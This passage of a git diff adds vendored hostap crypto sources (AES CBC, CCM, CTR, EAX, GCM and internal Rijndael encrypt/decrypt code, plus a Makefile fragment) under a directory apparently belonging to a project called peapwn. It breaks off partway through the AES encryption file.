+LIB_OBJS += crypto_internal-rsa.o +LIB_OBJS += tls_internal.o +LIB_OBJS += fips_prf_internal.o +LIB_OBJS += random.o + + +libcrypto.a: $(LIB_OBJS) + $(AR) crT $@ $? + +-include $(OBJS:%.o=%.d) diff --git a/peapwn/mods/hostap/src/crypto/aes-cbc.c b/peapwn/mods/hostap/src/crypto/aes-cbc.c new file mode 100644 index 000000000..2833cfcc8 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-cbc.c @@ -0,0 +1,80 @@ +/* + * AES-128 CBC + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_128_cbc_encrypt - AES-128 CBC encryption + * @key: Encryption key + * @iv: Encryption IV for CBC mode (16 bytes) + * @data: Data to encrypt in-place + * @data_len: Length of data in bytes (must be divisible by 16) + * Returns: 0 on success, -1 on failure + */ +int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) +{ + void *ctx; + u8 cbc[AES_BLOCK_SIZE]; + u8 *pos = data; + int i, j, blocks; + + ctx = aes_encrypt_init(key, 16); + if (ctx == NULL) + return -1; + os_memcpy(cbc, iv, AES_BLOCK_SIZE); + + blocks = data_len / AES_BLOCK_SIZE; + for (i = 0; i < blocks; i++) { + for (j = 0; j < AES_BLOCK_SIZE; j++) + cbc[j] ^= pos[j]; + aes_encrypt(ctx, cbc, cbc); + os_memcpy(pos, cbc, AES_BLOCK_SIZE); + pos += AES_BLOCK_SIZE; + } + aes_encrypt_deinit(ctx); + return 0; +} + + +/** + * aes_128_cbc_decrypt - AES-128 CBC decryption + * @key: Decryption key + * @iv: Decryption IV for CBC mode (16 bytes) + * @data: Data to decrypt in-place + * @data_len: Length of data in bytes (must be divisible by 16) + * Returns: 0 on success, -1 on failure + */ +int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) +{ + void *ctx; + u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE]; + u8 *pos = data; + int i, j, blocks; + + ctx = aes_decrypt_init(key, 16); + if (ctx == NULL) + return -1; + os_memcpy(cbc, iv, AES_BLOCK_SIZE); + + blocks = data_len / AES_BLOCK_SIZE; + for (i = 0; i < blocks; i++) { + os_memcpy(tmp, pos, AES_BLOCK_SIZE); + aes_decrypt(ctx, pos, pos); + for (j = 0; j < AES_BLOCK_SIZE; j++) + pos[j] ^= cbc[j]; + os_memcpy(cbc, tmp, AES_BLOCK_SIZE); + pos += AES_BLOCK_SIZE; + } + aes_decrypt_deinit(ctx); + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-ccm.c b/peapwn/mods/hostap/src/crypto/aes-ccm.c new file mode 100644 index 000000000..d14670db8 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-ccm.c @@ -0,0 +1,212 @@ +/* + * Counter with CBC-MAC (CCM) with AES + * + * Copyright (c) 2010-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + + +static void xor_aes_block(u8 *dst, const u8 *src) +{ + u32 *d = (u32 *) dst; + u32 *s = (u32 *) src; + *d++ ^= *s++; + *d++ ^= *s++; + *d++ ^= *s++; + *d++ ^= *s++; +} + + +static void aes_ccm_auth_start(void *aes, size_t M, size_t L, const u8 *nonce, + const u8 *aad, size_t aad_len, size_t plain_len, + u8 *x) +{ + u8 aad_buf[2 * AES_BLOCK_SIZE]; + u8 b[AES_BLOCK_SIZE]; + + /* Authentication */ + /* B_0: Flags | Nonce N | l(m) */ + b[0] = aad_len ? 0x40 : 0 /* Adata */; + b[0] |= (((M - 2) / 2) /* M' */ << 3); + b[0] |= (L - 1) /* L' */; + os_memcpy(&b[1], nonce, 15 - L); + WPA_PUT_BE16(&b[AES_BLOCK_SIZE - L], plain_len); + + wpa_hexdump_key(MSG_EXCESSIVE, "CCM B_0", b, AES_BLOCK_SIZE); + aes_encrypt(aes, b, x); /* X_1 = E(K, B_0) */ + + if (!aad_len) + return; + + WPA_PUT_BE16(aad_buf, aad_len); + os_memcpy(aad_buf + 2, aad, aad_len); + os_memset(aad_buf + 2 + aad_len, 0, sizeof(aad_buf) - 2 - aad_len); + + xor_aes_block(aad_buf, x); + aes_encrypt(aes, aad_buf, x); /* X_2 = E(K, X_1 XOR B_1) */ + + if (aad_len > AES_BLOCK_SIZE - 2) { + xor_aes_block(&aad_buf[AES_BLOCK_SIZE], x); + /* X_3 = E(K, X_2 XOR B_2) */ + aes_encrypt(aes, &aad_buf[AES_BLOCK_SIZE], x); + } +} + + +static void aes_ccm_auth(void *aes, const u8 *data, size_t len, u8 *x) +{ + size_t last = len % AES_BLOCK_SIZE; + size_t i; + + for (i = 0; i < len / AES_BLOCK_SIZE; i++) { + /* X_i+1 = E(K, X_i XOR B_i) */ + xor_aes_block(x, data); + data += AES_BLOCK_SIZE; + aes_encrypt(aes, x, x); + } + if (last) { + /* XOR zero-padded last block */ + for (i = 0; i < last; i++) + x[i] ^= *data++; + aes_encrypt(aes, x, x); + } +} + + +static void aes_ccm_encr_start(size_t L, const u8 *nonce, u8 *a) +{ + /* A_i = Flags | Nonce N | Counter i */ + a[0] = L - 1; /* Flags = L' */ + os_memcpy(&a[1], nonce, 15 - L); +} + + +static void aes_ccm_encr(void *aes, size_t L, const u8 *in, size_t len, u8 *out, + u8 *a) +{ + size_t last = len % AES_BLOCK_SIZE; + size_t i; + + /* crypt = msg XOR (S_1 | S_2 | ... | S_n) */ + for (i = 1; i <= len / AES_BLOCK_SIZE; i++) { + WPA_PUT_BE16(&a[AES_BLOCK_SIZE - 2], i); + /* S_i = E(K, A_i) */ + aes_encrypt(aes, a, out); + xor_aes_block(out, in); + out += AES_BLOCK_SIZE; + in += AES_BLOCK_SIZE; + } + if (last) { + WPA_PUT_BE16(&a[AES_BLOCK_SIZE - 2], i); + aes_encrypt(aes, a, out); + /* XOR zero-padded last block */ + for (i = 0; i < last; i++) + *out++ ^= *in++; + } +} + + +static void aes_ccm_encr_auth(void *aes, size_t M, u8 *x, u8 *a, u8 *auth) +{ + size_t i; + u8 tmp[AES_BLOCK_SIZE]; + + wpa_hexdump_key(MSG_EXCESSIVE, "CCM T", x, M); + /* U = T XOR S_0; S_0 = E(K, A_0) */ + WPA_PUT_BE16(&a[AES_BLOCK_SIZE - 2], 0); + aes_encrypt(aes, a, tmp); + for (i = 0; i < M; i++) + auth[i] = x[i] ^ tmp[i]; + wpa_hexdump_key(MSG_EXCESSIVE, "CCM U", auth, M); +} + + +static void aes_ccm_decr_auth(void *aes, size_t M, u8 *a, const u8 *auth, u8 *t) +{ + size_t i; + u8 tmp[AES_BLOCK_SIZE]; + + wpa_hexdump_key(MSG_EXCESSIVE, "CCM U", auth, M); + /* U = T XOR S_0; S_0 = E(K, A_0) */ + WPA_PUT_BE16(&a[AES_BLOCK_SIZE - 2], 0); + aes_encrypt(aes, a, tmp); + for (i = 0; i < M; i++) + t[i] = auth[i] ^ tmp[i]; + wpa_hexdump_key(MSG_EXCESSIVE, "CCM T", t, M); +} + + +/* AES-CCM with fixed L=2 and aad_len <= 30 assumption */ +int aes_ccm_ae(const u8 *key, size_t key_len, const u8 *nonce, + size_t M, const u8 *plain, size_t plain_len, + const u8 *aad, size_t aad_len, u8 *crypt, u8 *auth) +{ + const size_t L = 2; + void *aes; + u8 x[AES_BLOCK_SIZE], a[AES_BLOCK_SIZE]; + + if (aad_len > 30 || M > AES_BLOCK_SIZE) + return -1; + + aes = aes_encrypt_init(key, key_len); + if (aes == NULL) + return -1; + + aes_ccm_auth_start(aes, M, L, nonce, aad, aad_len, plain_len, x); + aes_ccm_auth(aes, plain, plain_len, x); + + /* Encryption */ + aes_ccm_encr_start(L, nonce, a); + aes_ccm_encr(aes, L, plain, plain_len, crypt, a); + aes_ccm_encr_auth(aes, M, x, a, auth); + + aes_encrypt_deinit(aes); + + return 0; +} + + +/* AES-CCM with fixed L=2 and aad_len <= 30 assumption */ +int aes_ccm_ad(const u8 *key, size_t key_len, const u8 *nonce, + size_t M, const u8 *crypt, size_t crypt_len, + const u8 *aad, size_t aad_len, const u8 *auth, u8 *plain) +{ + const size_t L = 2; + void *aes; + u8 x[AES_BLOCK_SIZE], a[AES_BLOCK_SIZE]; + u8 t[AES_BLOCK_SIZE]; + + if (aad_len > 30 || M > AES_BLOCK_SIZE) + return -1; + + aes = aes_encrypt_init(key, key_len); + if (aes == NULL) + return -1; + + /* Decryption */ + aes_ccm_encr_start(L, nonce, a); + aes_ccm_decr_auth(aes, M, a, auth, t); + + /* plaintext = msg XOR (S_1 | S_2 | ... | S_n) */ + aes_ccm_encr(aes, L, crypt, crypt_len, plain, a); + + aes_ccm_auth_start(aes, M, L, nonce, aad, aad_len, crypt_len, x); + aes_ccm_auth(aes, plain, crypt_len, x); + + aes_encrypt_deinit(aes); + + if (os_memcmp(x, t, M) != 0) { + wpa_printf(MSG_EXCESSIVE, "CCM: Auth mismatch"); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-ctr.c b/peapwn/mods/hostap/src/crypto/aes-ctr.c new file mode 100644 index 000000000..d4d874daa --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-ctr.c @@ -0,0 +1,55 @@ +/* + * AES-128 CTR + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_128_ctr_encrypt - AES-128 CTR mode encryption + * @key: Key for encryption (16 bytes) + * @nonce: Nonce for counter mode (16 bytes) + * @data: Data to encrypt in-place + * @data_len: Length of data in bytes + * Returns: 0 on success, -1 on failure + */ +int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, + u8 *data, size_t data_len) +{ + void *ctx; + size_t j, len, left = data_len; + int i; + u8 *pos = data; + u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE]; + + ctx = aes_encrypt_init(key, 16); + if (ctx == NULL) + return -1; + os_memcpy(counter, nonce, AES_BLOCK_SIZE); + + while (left > 0) { + aes_encrypt(ctx, counter, buf); + + len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE; + for (j = 0; j < len; j++) + pos[j] ^= buf[j]; + pos += len; + left -= len; + + for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) { + counter[i]++; + if (counter[i]) + break; + } + } + aes_encrypt_deinit(ctx); + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-eax.c b/peapwn/mods/hostap/src/crypto/aes-eax.c new file mode 100644 index 000000000..21941c66d --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-eax.c @@ -0,0 +1,145 @@ +/* + * AES-128 EAX + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_128_eax_encrypt - AES-128 EAX mode encryption + * @key: Key for encryption (16 bytes) + * @nonce: Nonce for counter mode + * @nonce_len: Nonce length in bytes + * @hdr: Header data to be authenticity protected + * @hdr_len: Length of the header data bytes + * @data: Data to encrypt in-place + * @data_len: Length of data in bytes + * @tag: 16-byte tag value + * Returns: 0 on success, -1 on failure + */ +int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, + const u8 *hdr, size_t hdr_len, + u8 *data, size_t data_len, u8 *tag) +{ + u8 *buf; + size_t buf_len; + u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], + data_mac[AES_BLOCK_SIZE]; + int i, ret = -1; + + if (nonce_len > data_len) + buf_len = nonce_len; + else + buf_len = data_len; + if (hdr_len > buf_len) + buf_len = hdr_len; + buf_len += 16; + + buf = os_malloc(buf_len); + if (buf == NULL) + return -1; + + os_memset(buf, 0, 15); + + buf[15] = 0; + os_memcpy(buf + 16, nonce, nonce_len); + if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) + goto fail; + + buf[15] = 1; + os_memcpy(buf + 16, hdr, hdr_len); + if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) + goto fail; + + if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len)) + goto fail; + buf[15] = 2; + os_memcpy(buf + 16, data, data_len); + if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) + goto fail; + + for (i = 0; i < AES_BLOCK_SIZE; i++) + tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]; + + ret = 0; +fail: + os_free(buf); + + return ret; +} + + +/** + * aes_128_eax_decrypt - AES-128 EAX mode decryption + * @key: Key for decryption (16 bytes) + * @nonce: Nonce for counter mode + * @nonce_len: Nonce length in bytes + * @hdr: Header data to be authenticity protected + * @hdr_len: Length of the header data bytes + * @data: Data to encrypt in-place + * @data_len: Length of data in bytes + * @tag: 16-byte tag value + * Returns: 0 on success, -1 on failure, -2 if tag does not match + */ +int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, + const u8 *hdr, size_t hdr_len, + u8 *data, size_t data_len, const u8 *tag) +{ + u8 *buf; + size_t buf_len; + u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], + data_mac[AES_BLOCK_SIZE]; + int i; + + if (nonce_len > data_len) + buf_len = nonce_len; + else + buf_len = data_len; + if (hdr_len > buf_len) + buf_len = hdr_len; + buf_len += 16; + + buf = os_malloc(buf_len); + if (buf == NULL) + return -1; + + os_memset(buf, 0, 15); + + buf[15] = 0; + os_memcpy(buf + 16, nonce, nonce_len); + if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) { + os_free(buf); + return -1; + } + + buf[15] = 1; + os_memcpy(buf + 16, hdr, hdr_len); + if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) { + os_free(buf); + return -1; + } + + buf[15] = 2; + os_memcpy(buf + 16, data, data_len); + if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) { + os_free(buf); + return -1; + } + + os_free(buf); + + for (i = 0; i < AES_BLOCK_SIZE; i++) { + if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i])) + return -2; + } + + return aes_128_ctr_encrypt(key, nonce_mac, data, data_len); +} diff --git a/peapwn/mods/hostap/src/crypto/aes-encblock.c b/peapwn/mods/hostap/src/crypto/aes-encblock.c new file mode 100644 index 000000000..a5216211d --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-encblock.c @@ -0,0 +1,32 @@ +/* + * AES encrypt_block + * + * Copyright (c) 2003-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +/** + * aes_128_encrypt_block - Perform one AES 128-bit block operation + * @key: Key for AES + * @in: Input data (16 bytes) + * @out: Output of the AES block operation (16 bytes) + * Returns: 0 on success, -1 on failure + */ +int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out) +{ + void *ctx; + ctx = aes_encrypt_init(key, 16); + if (ctx == NULL) + return -1; + aes_encrypt(ctx, in, out); + aes_encrypt_deinit(ctx); + return 0; +} diff --git a/peapwn/mods/hostap/src/crypto/aes-gcm.c b/peapwn/mods/hostap/src/crypto/aes-gcm.c new file mode 100644 index 000000000..3d91c71de --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-gcm.c @@ -0,0 +1,327 @@ +/* + * Galois/Counter Mode (GCM) and GMAC with AES + * + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "aes.h" +#include "aes_wrap.h" + +static void inc32(u8 *block) +{ + u32 val; + val = WPA_GET_BE32(block + AES_BLOCK_SIZE - 4); + val++; + WPA_PUT_BE32(block + AES_BLOCK_SIZE - 4, val); +} + + +static void xor_block(u8 *dst, const u8 *src) +{ + u32 *d = (u32 *) dst; + u32 *s = (u32 *) src; + *d++ ^= *s++; + *d++ ^= *s++; + *d++ ^= *s++; + *d++ ^= *s++; +} + + +static void shift_right_block(u8 *v) +{ + u32 val; + + val = WPA_GET_BE32(v + 12); + val >>= 1; + if (v[11] & 0x01) + val |= 0x80000000; + WPA_PUT_BE32(v + 12, val); + + val = WPA_GET_BE32(v + 8); + val >>= 1; + if (v[7] & 0x01) + val |= 0x80000000; + WPA_PUT_BE32(v + 8, val); + + val = WPA_GET_BE32(v + 4); + val >>= 1; + if (v[3] & 0x01) + val |= 0x80000000; + WPA_PUT_BE32(v + 4, val); + + val = WPA_GET_BE32(v); + val >>= 1; + WPA_PUT_BE32(v, val); +} + + +/* Multiplication in GF(2^128) */ +static void gf_mult(const u8 *x, const u8 *y, u8 *z) +{ + u8 v[16]; + int i, j; + + os_memset(z, 0, 16); /* Z_0 = 0^128 */ + os_memcpy(v, y, 16); /* V_0 = Y */ + + for (i = 0; i < 16; i++) { + for (j = 0; j < 8; j++) { + if (x[i] & BIT(7 - j)) { + /* Z_(i + 1) = Z_i XOR V_i */ + xor_block(z, v); + } else { + /* Z_(i + 1) = Z_i */ + } + + if (v[15] & 0x01) { + /* V_(i + 1) = (V_i >> 1) XOR R */ + shift_right_block(v); + /* R = 11100001 || 0^120 */ + v[0] ^= 0xe1; + } else { + /* V_(i + 1) = V_i >> 1 */ + shift_right_block(v); + } + } + } +} + + +static void ghash_start(u8 *y) +{ + /* Y_0 = 0^128 */ + os_memset(y, 0, 16); +} + + +static void ghash(const u8 *h, const u8 *x, size_t xlen, u8 *y) +{ + size_t m, i; + const u8 *xpos = x; + u8 tmp[16]; + + m = xlen / 16; + + for (i = 0; i < m; i++) { + /* Y_i = (Y^(i-1) XOR X_i) dot H */ + xor_block(y, xpos); + xpos += 16; + + /* dot operation: + * multiplication operation for binary Galois (finite) field of + * 2^128 elements */ + gf_mult(y, h, tmp); + os_memcpy(y, tmp, 16); + } + + if (x + xlen > xpos) { + /* Add zero padded last block */ + size_t last = x + xlen - xpos; + os_memcpy(tmp, xpos, last); + os_memset(tmp + last, 0, sizeof(tmp) - last); + + /* Y_i = (Y^(i-1) XOR X_i) dot H */ + xor_block(y, tmp); + + /* dot operation: + * multiplication operation for binary Galois (finite) field of + * 2^128 elements */ + gf_mult(y, h, tmp); + os_memcpy(y, tmp, 16); + } + + /* Return Y_m */ +} + + +static void aes_gctr(void *aes, const u8 *icb, const u8 *x, size_t xlen, u8 *y) +{ + size_t i, n, last; + u8 cb[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE]; + const u8 *xpos = x; + u8 *ypos = y; + + if (xlen == 0) + return; + + n = xlen / 16; + + os_memcpy(cb, icb, AES_BLOCK_SIZE); + /* Full blocks */ + for (i = 0; i < n; i++) { + aes_encrypt(aes, cb, ypos); + xor_block(ypos, xpos); + xpos += AES_BLOCK_SIZE; + ypos += AES_BLOCK_SIZE; + inc32(cb); + } + + last = x + xlen - xpos; + if (last) { + /* Last, partial block */ + aes_encrypt(aes, cb, tmp); + for (i = 0; i < last; i++) + *ypos++ = *xpos++ ^ tmp[i]; + } +} + + +static void * aes_gcm_init_hash_subkey(const u8 *key, size_t key_len, u8 *H) +{ + void *aes; + + aes = aes_encrypt_init(key, key_len); + if (aes == NULL) + return NULL; + + /* Generate hash subkey H = AES_K(0^128) */ + os_memset(H, 0, AES_BLOCK_SIZE); + aes_encrypt(aes, H, H); + wpa_hexdump_key(MSG_EXCESSIVE, "Hash subkey H for GHASH", + H, AES_BLOCK_SIZE); + return aes; +} + + +static void aes_gcm_prepare_j0(const u8 *iv, size_t iv_len, const u8 *H, u8 *J0) +{ + u8 len_buf[16]; + + if (iv_len == 12) { + /* Prepare block J_0 = IV || 0^31 || 1 [len(IV) = 96] */ + os_memcpy(J0, iv, iv_len); + os_memset(J0 + iv_len, 0, AES_BLOCK_SIZE - iv_len); + J0[AES_BLOCK_SIZE - 1] = 0x01; + } else { + /* + * s = 128 * ceil(len(IV)/128) - len(IV) + * J_0 = GHASH_H(IV || 0^(s+64) || [len(IV)]_64) + */ + ghash_start(J0); + ghash(H, iv, iv_len, J0); + WPA_PUT_BE64(len_buf, 0); + WPA_PUT_BE64(len_buf + 8, iv_len * 8); + ghash(H, len_buf, sizeof(len_buf), J0); + } +} + + +static void aes_gcm_gctr(void *aes, const u8 *J0, const u8 *in, size_t len, + u8 *out) +{ + u8 J0inc[AES_BLOCK_SIZE]; + + if (len == 0) + return; + + os_memcpy(J0inc, J0, AES_BLOCK_SIZE); + inc32(J0inc); + aes_gctr(aes, J0inc, in, len, out); +} + + +static void aes_gcm_ghash(const u8 *H, const u8 *aad, size_t aad_len, + const u8 *crypt, size_t crypt_len, u8 *S) +{ + u8 len_buf[16]; + + /* + * u = 128 * ceil[len(C)/128] - len(C) + * v = 128 * ceil[len(A)/128] - len(A) + * S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64) + * (i.e., zero padded to block size A || C and lengths of each in bits) + */ + ghash_start(S); + ghash(H, aad, aad_len, S); + ghash(H, crypt, crypt_len, S); + WPA_PUT_BE64(len_buf, aad_len * 8); + WPA_PUT_BE64(len_buf + 8, crypt_len * 8); + ghash(H, len_buf, sizeof(len_buf), S); + + wpa_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16); +} + + +/** + * aes_gcm_ae - GCM-AE_K(IV, P, A) + */ +int aes_gcm_ae(const u8 *key, size_t key_len, const u8 *iv, size_t iv_len, + const u8 *plain, size_t plain_len, + const u8 *aad, size_t aad_len, u8 *crypt, u8 *tag) +{ + u8 H[AES_BLOCK_SIZE]; + u8 J0[AES_BLOCK_SIZE]; + u8 S[16]; + void *aes; + + aes = aes_gcm_init_hash_subkey(key, key_len, H); + if (aes == NULL) + return -1; + + aes_gcm_prepare_j0(iv, iv_len, H, J0); + + /* C = GCTR_K(inc_32(J_0), P) */ + aes_gcm_gctr(aes, J0, plain, plain_len, crypt); + + aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S); + + /* T = MSB_t(GCTR_K(J_0, S)) */ + aes_gctr(aes, J0, S, sizeof(S), tag); + + /* Return (C, T) */ + + aes_encrypt_deinit(aes); + + return 0; +} + + +/** + * aes_gcm_ad - GCM-AD_K(IV, C, A, T) + */ +int aes_gcm_ad(const u8 *key, size_t key_len, const u8 *iv, size_t iv_len, + const u8 *crypt, size_t crypt_len, + const u8 *aad, size_t aad_len, const u8 *tag, u8 *plain) +{ + u8 H[AES_BLOCK_SIZE]; + u8 J0[AES_BLOCK_SIZE]; + u8 S[16], T[16]; + void *aes; + + aes = aes_gcm_init_hash_subkey(key, key_len, H); + if (aes == NULL) + return -1; + + aes_gcm_prepare_j0(iv, iv_len, H, J0); + + /* P = GCTR_K(inc_32(J_0), C) */ + aes_gcm_gctr(aes, J0, crypt, crypt_len, plain); + + aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S); + + /* T' = MSB_t(GCTR_K(J_0, S)) */ + aes_gctr(aes, J0, S, sizeof(S), T); + + aes_encrypt_deinit(aes); + + if (os_memcmp(tag, T, 16) != 0) { + wpa_printf(MSG_EXCESSIVE, "GCM: Tag mismatch"); + return -1; + } + + return 0; +} + + +int aes_gmac(const u8 *key, size_t key_len, const u8 *iv, size_t iv_len, + const u8 *aad, size_t aad_len, u8 *tag) +{ + return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, + tag); +} diff --git a/peapwn/mods/hostap/src/crypto/aes-internal-dec.c b/peapwn/mods/hostap/src/crypto/aes-internal-dec.c new file mode 100644 index 000000000..720c7036e --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-internal-dec.c @@ -0,0 +1,161 @@ +/* + * AES (Rijndael) cipher - decrypt + * + * Modifications to public domain implementation: + * - cleanup + * - use C pre-processor to make it easier to change S table access + * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at + * cost of reduced throughput (quite small difference on Pentium 4, + * 10-25% when using -O1 or -O2 optimization) + * + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "aes_i.h" + +/** + * Expand the cipher key into the decryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +static int rijndaelKeySetupDec(u32 rk[], const u8 cipherKey[], int keyBits) +{ + int Nr, i, j; + u32 temp; + + /* expand the cipher key: */ + Nr = rijndaelKeySetupEnc(rk, cipherKey, keyBits); + if (Nr < 0) + return Nr; + /* invert the order of the round keys: */ + for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { + temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; + temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; + temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; + temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; + } + /* apply the inverse MixColumn transform to all round keys but the + * first and the last: */ + for (i = 1; i < Nr; i++) { + rk += 4; + for (j = 0; j < 4; j++) { + rk[j] = TD0_(TE4((rk[j] >> 24) )) ^ + TD1_(TE4((rk[j] >> 16) & 0xff)) ^ + TD2_(TE4((rk[j] >> 8) & 0xff)) ^ + TD3_(TE4((rk[j] ) & 0xff)); + } + } + + return Nr; +} + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + u32 *rk; + int res; + rk = os_malloc(AES_PRIV_SIZE); + if (rk == NULL) + return NULL; + res = rijndaelKeySetupDec(rk, key, len * 8); + if (res < 0) { + os_free(rk); + return NULL; + } + rk[AES_PRIV_NR_POS] = res; + return rk; +} + +static void rijndaelDecrypt(const u32 rk[/*44*/], int Nr, const u8 ct[16], + u8 pt[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(ct ) ^ rk[0]; + s1 = GETU32(ct + 4) ^ rk[1]; + s2 = GETU32(ct + 8) ^ rk[2]; + s3 = GETU32(ct + 12) ^ rk[3]; + +#define ROUND(i,d,s) \ +d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \ +d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \ +d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \ +d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3] + +#ifdef FULL_UNROLL + + ROUND(1,t,s); + ROUND(2,s,t); + ROUND(3,t,s); + ROUND(4,s,t); + ROUND(5,t,s); + ROUND(6,s,t); + ROUND(7,t,s); + ROUND(8,s,t); + ROUND(9,t,s); + if (Nr > 10) { + ROUND(10,s,t); + ROUND(11,t,s); + if (Nr > 12) { + ROUND(12,s,t); + ROUND(13,t,s); + } + } + + rk += Nr << 2; + +#else /* !FULL_UNROLL */ + + /* Nr - 1 full rounds: */ + r = Nr >> 1; + for (;;) { + ROUND(1,t,s); + rk += 8; + if (--r == 0) + break; + ROUND(0,s,t); + } + +#endif /* ?FULL_UNROLL */ + +#undef ROUND + + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0]; + PUTU32(pt , s0); + s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1]; + PUTU32(pt + 4, s1); + s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2]; + PUTU32(pt + 8, s2); + s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3]; + PUTU32(pt + 12, s3); +} + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ + u32 *rk = ctx; + rijndaelDecrypt(ctx, rk[AES_PRIV_NR_POS], crypt, plain); +} + + +void aes_decrypt_deinit(void *ctx) +{ + os_memset(ctx, 0, AES_PRIV_SIZE); + os_free(ctx); +} diff --git a/peapwn/mods/hostap/src/crypto/aes-internal-enc.c b/peapwn/mods/hostap/src/crypto/aes-internal-enc.c new file mode 100644 index 000000000..f3c61b850 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-internal-enc.c @@ -0,0 +1,126 @@ +/* + * AES (Rijndael) cipher - encrypt + * + * Modifications to public domain implementation: + * - cleanup + * - use C pre-processor to make it easier to change S table access + * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at + * cost of reduced throughput (quite small difference on Pentium 4, + * 10-25% when using -O1 or -O2 optimization) + * + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "aes_i.h" + +static void rijndaelEncrypt(const u32 rk[], int Nr, const u8 pt[16], u8 ct[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(pt ) ^ rk[0]; + s1 = GETU32(pt + 4) ^ rk[1]; + s2 = GETU32(pt + 8) ^ rk[2]; + s3 = GETU32(pt + 